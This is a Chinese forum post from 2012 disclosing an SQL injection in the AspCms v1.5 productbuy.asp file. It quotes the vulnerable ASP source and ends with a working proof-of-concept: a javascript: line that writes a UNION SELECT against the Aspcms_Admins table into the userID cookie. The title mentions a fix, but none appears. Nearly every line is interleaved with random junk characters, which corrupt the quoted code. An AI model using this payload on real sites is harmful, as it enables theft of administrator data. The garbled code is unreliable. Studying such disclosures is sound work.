找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2163|回复: 0
打印 上一主题 下一主题

AspCms_v1.5_20110517 SQL注射漏洞及修复

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-27 08:35:05 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
好久没上土司了,上来一看发现在删号名单内.....0 l: Z8 C( s4 s1 w; ]1 i! U" F% O
也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。! M7 _5 L! j( Q7 n
废话不多说,看代码:- c8 R* s" ^0 d

& C, _$ D5 p$ M1 s( _5 W: Z<%$ {; U/ i6 O5 e4 w  k5 b% Q& _, i
; ^' o4 M& y4 z
if action = "buy" then. e( H8 M4 n' O/ ~2 T
. Q) e* z9 C) Z1 H
        addOrder()2 S* f. p' `* G

# z* g. e% I6 p- C$ d8 B! Xelse
2 _0 ^3 s2 ~  [3 z9 p; ?* F
  G9 B% J% j7 I3 G' a! R) I* O        echoContent()
/ }" s) z! [% V' r$ Z# y0 N
7 \! o" P9 H# g+ H) Jend if& R0 f' j) e: Z- g% p
" y2 ]# A8 F* M; f( L2 {; M1 T
' F5 E& Z. j" P) c6 g
1 k! D- D  w9 s7 l  l: d, ]% h
……略过4 V* [8 F: ]& o- j3 ?1 H/ F8 B
/ Z# j/ e' k- h: s2 I/ g% `) e8 H
4 F- }$ v9 w0 o6 u1 ^$ T

, ]: O" @2 ^3 C; qSub echoContent()$ d  E' @$ X6 P! I( i- a9 N! a4 U
; T9 x9 Z# @( s$ J7 Y/ Y
        dim id( f# W/ D! G4 H

9 J$ H8 w# T7 Q- t9 K        id=getForm("id","get")
% [' ^; _6 z2 t9 E' D2 `; B- R9 N$ Q* h6 ~4 m3 r1 U- b/ J
        0 X4 i1 {8 c, y: G. e# k

; R$ w8 `5 P" k7 Q7 ?        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1" + Q- F; R6 O9 {( ~1 g* _/ n! r

2 v' }% I2 I. t; r4 H5 R4 K3 s- d        
$ q( s' H# P* U' j5 A
7 e: c- D, X0 f; v7 H        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")# D7 S3 G' Q0 K( i! x% s# \
6 b( f% x+ L8 n
        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
4 I% ~" Q9 J2 |; g2 d5 C# j& ]2 a/ \5 Z/ d6 {; h. @
        Dim templatePath,tempStr- Y* }, s; J; T, R- q/ y" G/ ~2 a
1 p4 w& p" d( }- B9 w6 `( M
        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
/ y0 a+ F" q0 C1 d4 ^0 g  z* |; }
+ K* V5 H  H% C8 |+ ]; y$ N6 }* m9 `% d
" f0 i# c6 S( Q' D' N
        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")+ O# A1 q& B1 P

8 H/ n, t! P& t2 I3 ]        selectproduct=rsObj(0)
+ j* N3 P8 e2 {4 @+ N# J& @& e5 M0 y& _
        
9 @) P/ B" {- `( a$ K. v; [# Q1 S4 `* E  q
        Dim linkman,gender,phone,mobile,email,qq,address,postcode/ u* ~: R2 w& E
/ F: |; T5 s; C0 f" j
        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",01 T% p1 h* |& B8 B9 R# g! Y# w5 p
: Z( j% l% t. l) G- h
        if rCookie("loginstatus")=1 then  
2 N9 `  y  [/ X" R$ V) n
$ L# \% l' _8 r! O4 c! i                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")( Q: d8 I+ O( H9 V! @+ A' L
) s' C7 t( w" M* o. G; V
                linkman=rsObj("truename")
* ?8 }* D9 ?) }7 s( Z0 P) a" h1 B$ \3 |+ l+ ]
                gender=rsObj("gender"): \6 ], D- g3 H: x1 q1 D% i6 h! q) J
4 d% u6 y; U) e) p4 q* H; W' J, V# v
                phone=rsObj("phone")
' w8 W8 g" U) b( [. B: @* y5 p+ K3 n  p( E9 ?9 n. j
                mobile=rsObj("mobile")1 P5 R4 Q. Z9 V) S+ z4 E
/ M- V: o  h5 C1 g& m+ Z
                email=rsObj("email")
: w% Y( o: A9 ]1 H6 N4 k: {" n% |9 K. A3 w; K$ H
                qq=rsObj("qq")+ I  G" k; H# }0 p6 c

2 i& n8 }" O  \0 {9 i                address=rsObj("address")
( v2 q! l# F3 Z7 u0 _
3 c8 a- W# o/ {. K                postcode=rsObj("postcode")1 T6 R  X* e) Q% E0 e3 z3 a+ K$ [
. i; C4 u3 |& {' l" I
        else
7 e2 \% W3 Q) f$ j$ U, b# r) m; ^# i) Z( }
                gender=1- Z# n* G+ O, {3 M$ V1 ~1 c4 c- g
( H* j5 A: q5 O+ ~, C5 o; k2 Y0 \3 c
        end if
- T+ l* U1 O4 O/ {1 ?' j* _
* y% j) E3 p" W. V# G# c+ w3 J" I! r        rsObj.close()
0 g, L# G, T- R( D7 @! n0 B$ e' ^: V7 k9 x3 J/ \
                ( k* E0 F' l7 M% W6 N& |& b$ I

5 J+ j8 E, a* {+ R        with templateObj
/ E2 y1 `. z; I* E. i1 P( t; |( a& A( _* V- h( w* h( V
                .content=loadFile(templatePath)        - ~; R1 W0 D, ^7 [$ D  _: E& }" Q  X

- m% W3 d$ }% x6 x# `/ |2 i! ]                .parseHtml()$ S5 Z( o/ Q, q* U$ S* s

8 b- m' C4 r  `" b                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
; l6 ~: c$ S% F" y5 M
4 Y9 [9 ~/ K+ C% s6 `                .content=replaceStr(.content,"[aspcms:linkman]",linkman)                3 O& r( \6 n$ \2 u2 u
, v; O6 O/ G5 S  o9 T2 G3 S  S
                .content=replaceStr(.content,"[aspcms:gender]",gender)               
7 {) |# B6 A, g- k* g4 ~* R, z6 A% N/ o5 d" m" C3 g3 e! o
                .content=replaceStr(.content,"[aspcms:phone]",phone)               
  |( a5 J  h) m
( d+ ]! @5 i0 M2 Q2 K3 p6 U                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               
. e/ s. }' O6 q# }: o( H. X" V: {' O' G# v: ^
                .content=replaceStr(.content,"[aspcms:email]",email)                        ) ^, J6 X; V1 _
4 F) Q: d0 Z3 F1 e
                .content=replaceStr(.content,"[aspcms:qq]",qq)                        ; t% v9 ]6 E) L" G; P2 F9 O, B- X% R9 S
0 Z. \8 Y6 B$ c2 B6 e4 {
                .content=replaceStr(.content,"[aspcms:address]",address)                        
( P- ~8 i! S+ t9 `
; C& }' s8 w4 F7 c                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        
- r& U4 v$ Q$ c1 R+ S& u8 b' _% s& E& k% ]( h
                .parseCommon()                 
9 h, S* K0 s5 w2 C' w0 r% [0 c
8 K( P: e$ ^0 l                echo .content - t0 g: Q$ J$ w. k: g

2 P. C$ f  u, p* q$ q        end with: ~, x  e" Y4 \. p( \: r2 w4 R
" Z9 q: P+ y! G
        set templateobj =nothing : terminateAllObjects+ J* E5 V/ c7 S5 {2 _" H$ Z. Y
" E! h" h/ ?3 V! x! ^
End Sub" Q4 |9 @, _7 N2 t5 U
漏洞很明显,没啥好说的
! r8 C" a& h; f  _9 Npoc:% ]+ W. w# c5 F( P4 w& U

+ U1 G7 h  S+ r3 q9 Y, ?' ujavascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子​, X; J% K: y- Z% Y5 h1 ?
+ N5 ^; W) q( R. f. f6 e
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表